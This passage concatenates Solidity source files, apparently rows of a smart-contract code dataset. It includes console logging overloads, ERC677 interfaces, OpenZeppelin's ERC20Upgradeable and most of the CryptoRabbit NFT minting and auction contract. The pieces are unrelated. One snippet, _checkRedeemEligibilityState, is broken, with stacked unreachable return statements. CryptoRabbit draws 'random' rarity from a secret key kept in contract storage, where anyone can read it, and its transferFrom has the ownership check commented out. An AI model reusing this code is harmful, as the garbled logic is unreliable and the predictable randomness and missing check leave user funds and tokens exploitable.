_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: gpl-3.0 pragma solidity 0.7.5; interface IERC677 { function transferAndCall( address to, uint256 value, bytes memory data ) external returns (bool ok); event Transfer(address indexed from, address indexed to, uint256 value, bytes data); } // SPDX-License-Identifier: gpl-3.0 pragma solidity 0.7.5; interface IERC677Receiver { function onTokenTransfer( address from, uint256 amount, bytes calldata data ) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/ContextUpgradeable.sol"; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable { using SafeMathUpgradeable for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; }
Check if the state of contract is suitable to redeem/
function _checkRedeemEligibilityState() internal view returns (bool) { if (state == OriginatorStakingState.STAKING_END) { return true; return true; return false; } }
142,856
./full_match/1/0xd2E73E3254B1f9A1215cB1F1aE73b9B079B5E697/sources/contracts/libraries/LibData.sol
solhint-disable-next-line no-inline-assembly
function bridgeStorage() internal pure returns (BridgeDesc storage ds) { bytes32 position = BRIDGE_NAMESPACE; assembly { ds.slot := position } }
3,122,855
// CryptoRabbit Source code pragma solidity ^0.4.20; /** * * @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens * @author cuilichen */ contract ERC721 { // Required methods function totalSupply() public view returns (uint total); function balanceOf(address _owner) public view returns (uint balance); function ownerOf(uint _tokenId) external view returns (address owner); function approve(address _to, uint _tokenId) external; function transfer(address _to, uint _tokenId) external; function transferFrom(address _from, address _to, uint _tokenId) external; // Events event Transfer(address indexed from, address indexed to, uint tokenId); event Approval(address indexed owner, address indexed approved, uint tokenId); } /// @title A base contract to control ownership /// @author cuilichen contract OwnerBase { // The addresses of the accounts that can execute actions within each roles. address public ceoAddress; address public cfoAddress; address public cooAddress; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// constructor function OwnerBase() public { ceoAddress = msg.sender; cfoAddress = msg.sender; cooAddress = msg.sender; } /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for CFO-only functionality modifier onlyCFO() { require(msg.sender == cfoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO. /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) external onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the COO. Only available to the current CEO. /// @param _newCFO The address of the new COO function setCFO(address _newCFO) external onlyCEO { require(_newCFO != address(0)); cfoAddress = _newCFO; } /// @dev Assigns a new address to act as the COO. Only available to the current CEO. /// @param _newCOO The address of the new COO function setCOO(address _newCOO) external onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Called by any "C-level" role to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() external onlyCOO whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by the CEO, since /// one reason we may pause the contract is when CFO or COO accounts are /// compromised. /// @notice This is public rather than external so it can be called by /// derived contracts. function unpause() public onlyCOO whenPaused { // can't unpause if contract was upgraded paused = false; } /// @dev check wether target address is a contract or not function isNotContract(address addr) internal view returns (bool) { uint size = 0; assembly { size := extcodesize(addr) } return size == 0; } } /** * * @title Interface for contracts conforming to fighters camp * @author cuilichen */ contract FighterCamp { // function isCamp() public pure returns (bool); // Required methods function getFighter(uint _tokenId) external view returns (uint32); } /// @title Base contract for CryptoRabbit. Holds all common structs, events and base variables. /// @author cuilichen /// @dev See the RabbitCore contract documentation to understand how the various contract facets are arranged. contract RabbitBase is ERC721, OwnerBase, FighterCamp { /*** EVENTS ***/ /// @dev The Birth event is fired whenever a new rabbit comes into existence. event Birth(address owner, uint rabbitId, uint32 star, uint32 explosive, uint32 endurance, uint32 nimble, uint64 genes, uint8 isBox); /*** DATA TYPES ***/ struct RabbitData { //genes for rabbit uint64 genes; // uint32 star; // uint32 explosive; // uint32 endurance; // uint32 nimble; //birth time uint64 birthTime; } /// @dev An array containing the Rabbit struct for all rabbits in existence. The ID /// of each rabbit is actually an index into this array. RabbitData[] rabbits; /// @dev A mapping from rabbit IDs to the address that owns them. mapping (uint => address) rabbitToOwner; // @dev A mapping from owner address to count of tokens that address owns. // Used internally inside balanceOf() to resolve ownership count. mapping (address => uint) howManyDoYouHave; /// @dev A mapping from RabbitIDs to an address that has been approved to call /// transfeFrom(). Each Rabbit can only have one approved address for transfer /// at any time. A zero value means no approval is outstanding. mapping (uint => address) public rabbitToApproved; /// @dev Assigns ownership of a specific Rabbit to an address. function _transItem(address _from, address _to, uint _tokenId) internal { // Since the number of rabbits is capped to 2^32 we can't overflow this howManyDoYouHave[_to]++; // transfer ownership rabbitToOwner[_tokenId] = _to; // When creating new rabbits _from is 0x0, but we can't account that address. if (_from != address(0)) { howManyDoYouHave[_from]--; } // clear any previously approved ownership exchange delete rabbitToApproved[_tokenId]; // Emit the transfer event. if (_tokenId > 0) { emit Transfer(_from, _to, _tokenId); } } /// @dev An internal method that creates a new rabbit and stores it. This /// method doesn't do any checking and should only be called when the /// input data is known to be valid. Will generate both a Birth event /// and a Transfer event. function _createRabbit( uint _star, uint _explosive, uint _endurance, uint _nimble, uint _genes, address _owner, uint8 isBox ) internal returns (uint) { require(_star >= 1 && _star <= 5); RabbitData memory _tmpRbt = RabbitData({ genes: uint64(_genes), star: uint32(_star), explosive: uint32(_explosive), endurance: uint32(_endurance), nimble: uint32(_nimble), birthTime: uint64(now) }); uint newRabbitID = rabbits.push(_tmpRbt) - 1; /* */ // emit the birth event emit Birth( _owner, newRabbitID, _tmpRbt.star, _tmpRbt.explosive, _tmpRbt.endurance, _tmpRbt.nimble, _tmpRbt.genes, isBox ); // This will assign ownership, and also emit the Transfer event as // per ERC721 draft if (_owner != address(0)){ _transItem(0, _owner, newRabbitID); } else { _transItem(0, ceoAddress, newRabbitID); } return newRabbitID; } /// @notice Returns all the relevant information about a specific rabbit. /// @param _tokenId The ID of the rabbit of interest. function getRabbit(uint _tokenId) external view returns ( uint32 outStar, uint32 outExplosive, uint32 outEndurance, uint32 outNimble, uint64 outGenes, uint64 outBirthTime ) { RabbitData storage rbt = rabbits[_tokenId]; outStar = rbt.star; outExplosive = rbt.explosive; outEndurance = rbt.endurance; outNimble = rbt.nimble; outGenes = rbt.genes; outBirthTime = rbt.birthTime; } function isCamp() public pure returns (bool){ return true; } /// @dev An external method that get infomation of the fighter /// @param _tokenId The ID of the fighter. function getFighter(uint _tokenId) external view returns (uint32) { RabbitData storage rbt = rabbits[_tokenId]; uint32 strength = uint32(rbt.explosive + rbt.endurance + rbt.nimble); return strength; } } /// @title The facet of the CryptoRabbit core contract that manages ownership, ERC-721 (draft) compliant. /// @author cuilichen /// @dev Ref: https://github.com/ethereum/EIPs/issues/721 /// See the RabbitCore contract documentation to understand how the various contract facets are arranged. contract RabbitOwnership is RabbitBase { /// @notice Name and symbol of the non fungible token, as defined in ERC721. string public name; string public symbol; //identify this is ERC721 function isERC721() public pure returns (bool) { return true; } // Internal utility functions: These functions all assume that their input arguments // are valid. We leave it to public methods to sanitize their inputs and follow // the required logic. /// @dev Checks if a given address is the current owner of a particular Rabbit. /// @param _owner the address we are validating against. /// @param _tokenId rabbit id, only valid when > 0 function _owns(address _owner, uint _tokenId) internal view returns (bool) { return rabbitToOwner[_tokenId] == _owner; } /// @dev Checks if a given address currently has transferApproval for a particular Rabbit. /// @param _claimant the address we are confirming rabbit is approved for. /// @param _tokenId rabbit id, only valid when > 0 function _approvedFor(address _claimant, uint _tokenId) internal view returns (bool) { return rabbitToApproved[_tokenId] == _claimant; } /// @dev Marks an address as being approved for transfeFrom(), overwriting any previous /// approval. Setting _approved to address(0) clears all transfer approval. /// NOTE: _approve() does NOT send the Approval event. This is intentional because /// _approve() and transfeFrom() are used together for putting rabbits on auction, and /// there is no value in spamming the log with Approval events in that case. function _approve(uint _tokenId, address _to) internal { rabbitToApproved[_tokenId] = _to; } /// @notice Returns the number of rabbits owned by a specific address. /// @param _owner The owner address to check. /// @dev Required for ERC-721 compliance function balanceOf(address _owner) public view returns (uint count) { return howManyDoYouHave[_owner]; } /// @notice Transfers a Rabbit to another address. If transferring to a smart /// contract be VERY CAREFUL to ensure that it is aware of ERC-721 (or /// CryptoRabbit specifically) or your Rabbit may be lost forever. Seriously. /// @param _to The address of the recipient, can be a user or contract. /// @param _tokenId The ID of the Rabbit to transfer. /// @dev Required for ERC-721 compliance. function transfer( address _to, uint _tokenId ) external whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. require(_to != address(this)); // You can only send your own rabbit. require(_owns(msg.sender, _tokenId)); // Reassign ownership, clear pending approvals, emit Transfer event. _transItem(msg.sender, _to, _tokenId); } /// @notice Grant another address the right to transfer a specific Rabbit via /// transfeFrom(). This is the preferred flow for transfering NFTs to contracts. /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the Rabbit that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function approve( address _to, uint _tokenId ) external whenNotPaused { require(_owns(msg.sender, _tokenId)); // Only an owner can grant transfer approval. require(msg.sender != _to); // can not approve to itself; // Register the approval (replacing any previous approval). _approve(_tokenId, _to); // Emit approval event. emit Approval(msg.sender, _to, _tokenId); } /// @notice Transfer a Rabbit owned by another address, for which the calling address /// has previously been granted transfer approval by the owner. /// @param _from The address that owns the Rabbit to be transfered. /// @param _to The address that should take ownership of the Rabbit. Can be any address, /// including the caller. /// @param _tokenId The ID of the Rabbit to be transferred. /// @dev Required for ERC-721 compliance. function transferFrom( address _from, address _to, uint _tokenId ) external whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // require(_owns(_from, _tokenId)); // Check for approval and valid ownership require(_approvedFor(msg.sender, _tokenId)); // Reassign ownership (also clears pending approvals and emits Transfer event). _transItem(_from, _to, _tokenId); } /// @notice Returns the total number of rabbits currently in existence. /// @dev Required for ERC-721 compliance. function totalSupply() public view returns (uint) { return rabbits.length - 1; } /// @notice Returns the address currently assigned ownership of a given Rabbit. /// @dev Required for ERC-721 compliance. function ownerOf(uint _tokenId) external view returns (address owner) { owner = rabbitToOwner[_tokenId]; require(owner != address(0)); } /// @notice Returns a list of all Rabbit IDs assigned to an address. /// @param _owner The owner whose rabbits we are interested in. /// @dev This method MUST NEVER be called by smart contract code. First, it's fairly /// expensive (it walks the entire Rabbit array looking for rabbits belonging to owner), /// but it also returns a dynamic array, which is only supported for web3 calls, and /// not contract-to-contract calls. function tokensOfOwner(address _owner) external view returns(uint[] ownerTokens) { uint tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint[](0); } else { uint[] memory result = new uint[](tokenCount); uint totalCats = totalSupply(); uint resultIndex = 0; // We count on the fact that all rabbits have IDs starting at 1 and increasing // sequentially up to the totalCat count. uint rabbitId; for (rabbitId = 1; rabbitId <= totalCats; rabbitId++) { if (rabbitToOwner[rabbitId] == _owner) { result[resultIndex] = rabbitId; resultIndex++; } } return result; } } } /// @title all functions related to creating rabbits and sell rabbits contract RabbitMinting is RabbitOwnership { // Price (in wei) for star5 rabbit uint public priceStar5Now = 1 ether; // Price (in wei) for star4 rabbit uint public priceStar4 = 100 finney; // Price (in wei) for star3 rabbit uint public priceStar3 = 5 finney; uint private priceStar5Min = 1 ether; uint private priceStar5Add = 2 finney; //rabbit box1 uint public priceBox1 = 10 finney; uint public box1Star5 = 50; uint public box1Star4 = 500; //rabbit box2 uint public priceBox2 = 100 finney; uint public box2Star5 = 500; // Limits the number of star5 rabbits can ever create. uint public constant LIMIT_STAR5 = 2000; // Limits the number of star4 rabbits can ever create. uint public constant LIMIT_STAR4 = 20000; // Limits the number of rabbits the contract owner can ever create. uint public constant LIMIT_PROMO = 5000; // Counts the number of rabbits of star 5 uint public CREATED_STAR5; // Counts the number of rabbits of star 4 uint public CREATED_STAR4; // Counts the number of rabbits the contract owner has created. uint public CREATED_PROMO; //an secret key used for random uint private secretKey = 392828872; //box is on sale bool private box1OnSale = true; //box is on sale bool private box2OnSale = true; //record any task id for updating datas; mapping(uint => uint8) usedSignId; /// @dev set base infomation by coo function setBaseInfo(uint val, bool _onSale1, bool _onSale2) external onlyCOO { secretKey = val; box1OnSale = _onSale1; box2OnSale = _onSale2; } /// @dev we can create promo rabbits, up to a limit. Only callable by COO function createPromoRabbit(uint _star, address _owner) whenNotPaused external onlyCOO { require (_owner != address(0)); require(CREATED_PROMO < LIMIT_PROMO); if (_star == 5){ require(CREATED_STAR5 < LIMIT_STAR5); } else if (_star == 4){ require(CREATED_STAR4 < LIMIT_STAR4); } CREATED_PROMO++; _createRabbitInGrade(_star, _owner, 0); } /// @dev create a rabbit with grade, and set its owner. function _createRabbitInGrade(uint _star, address _owner, uint8 isBox) internal { uint _genes = uint(keccak256(uint(_owner) + secretKey + rabbits.length)); uint _explosive = 50; uint _endurance = 50; uint _nimble = 50; if (_star < 5) { uint tmp = _genes; tmp = uint(keccak256(tmp)); _explosive = 1 + 10 * (_star - 1) + tmp % 10; tmp = uint(keccak256(tmp)); _endurance = 1 + 10 * (_star - 1) + tmp % 10; tmp = uint(keccak256(tmp)); _nimble = 1 + 10 * (_star - 1) + tmp % 10; } uint64 _geneShort = uint64(_genes); if (_star == 5){ CREATED_STAR5++; priceStar5Now = priceStar5Min + priceStar5Add * CREATED_STAR5; _geneShort = uint64(_geneShort - _geneShort % 2000 + CREATED_STAR5); } else if (_star == 4){ CREATED_STAR4++; } _createRabbit( _star, _explosive, _endurance, _nimble, _geneShort, _owner, isBox); } /// @notice customer buy a rabbit /// @param _star the star of the rabbit to buy function buyOneRabbit(uint _star) external payable whenNotPaused returns (bool) { require(isNotContract(msg.sender)); uint tmpPrice = 0; if (_star == 5){ tmpPrice = priceStar5Now; require(CREATED_STAR5 < LIMIT_STAR5); } else if (_star == 4){ tmpPrice = priceStar4; require(CREATED_STAR4 < LIMIT_STAR4); } else if (_star == 3){ tmpPrice = priceStar3; } else { revert(); } require(msg.value >= tmpPrice); _createRabbitInGrade(_star, msg.sender, 0); // Return the funds. uint fundsExcess = msg.value - tmpPrice; if (fundsExcess > 1 finney) { msg.sender.transfer(fundsExcess); } return true; } /// @notice customer buy a box function buyBox1() external payable whenNotPaused returns (bool) { require(isNotContract(msg.sender)); require(box1OnSale); require(msg.value >= priceBox1); uint tempVal = uint(keccak256(uint(msg.sender) + secretKey + rabbits.length)); tempVal = tempVal % 10000; uint _star = 3; //default if (tempVal <= box1Star5){ _star = 5; require(CREATED_STAR5 < LIMIT_STAR5); } else if (tempVal <= box1Star5 + box1Star4){ _star = 4; require(CREATED_STAR4 < LIMIT_STAR4); } _createRabbitInGrade(_star, msg.sender, 2); // Return the funds. uint fundsExcess = msg.value - priceBox1; if (fundsExcess > 1 finney) { msg.sender.transfer(fundsExcess); } return true; } /// @notice customer buy a box function buyBox2() external payable whenNotPaused returns (bool) { require(isNotContract(msg.sender)); require(box2OnSale); require(msg.value >= priceBox2); uint tempVal = uint(keccak256(uint(msg.sender) + secretKey + rabbits.length)); tempVal = tempVal % 10000; uint _star = 4; //default if (tempVal <= box2Star5){ _star = 5; require(CREATED_STAR5 < LIMIT_STAR5); } else { require(CREATED_STAR4 < LIMIT_STAR4); } _createRabbitInGrade(_star, msg.sender, 3); // Return the funds. uint fundsExcess = msg.value - priceBox2; if (fundsExcess > 1 finney) { msg.sender.transfer(fundsExcess); } return true; } } /// @title all functions related to creating rabbits and sell rabbits contract RabbitAuction is RabbitMinting { //events about auctions event AuctionCreated(uint tokenId, uint startingPrice, uint endingPrice, uint duration, uint startTime, uint32 explosive, uint32 endurance, uint32 nimble, uint32 star); event AuctionSuccessful(uint tokenId, uint totalPrice, address winner); event AuctionCancelled(uint tokenId); event UpdateComplete(address account, uint tokenId); // Represents an auction on an NFT struct Auction { // Current owner of NFT address seller; // Price (in wei) at beginning of auction uint128 startingPrice; // Price (in wei) at end of auction uint128 endingPrice; // Duration (in seconds) of auction uint64 duration; // Time when auction started uint64 startedAt; } // Cut owner takes on each auction, measured in basis points (1/100 of a percent). // Values 0-10,000 map to 0%-100% uint public masterCut = 200; // Map from token ID to their corresponding auction. mapping (uint => Auction) tokenIdToAuction; /// @dev Creates and begins a new auction. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _startingPrice - Price of item (in wei) at beginning of auction. /// @param _endingPrice - Price of item (in wei) at end of auction. /// @param _duration - Length of time to move between starting /// price and ending price (in seconds). function createAuction( uint _tokenId, uint _startingPrice, uint _endingPrice, uint _duration ) external whenNotPaused { require(isNotContract(msg.sender)); require(_endingPrice >= 1 finney); require(_startingPrice >= _endingPrice); require(_duration <= 100 days); require(_owns(msg.sender, _tokenId)); //assigning the ownship to this contract, _transItem(msg.sender, this, _tokenId); Auction memory auction = Auction( msg.sender, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } /// @dev Returns auction info for an NFT on auction. /// @param _tokenId - ID of NFT on auction. function getAuctionData(uint _tokenId) external view returns ( address seller, uint startingPrice, uint endingPrice, uint duration, uint startedAt, uint currentPrice ) { Auction storage auction = tokenIdToAuction[_tokenId]; require(auction.startedAt > 0); seller = auction.seller; startingPrice = 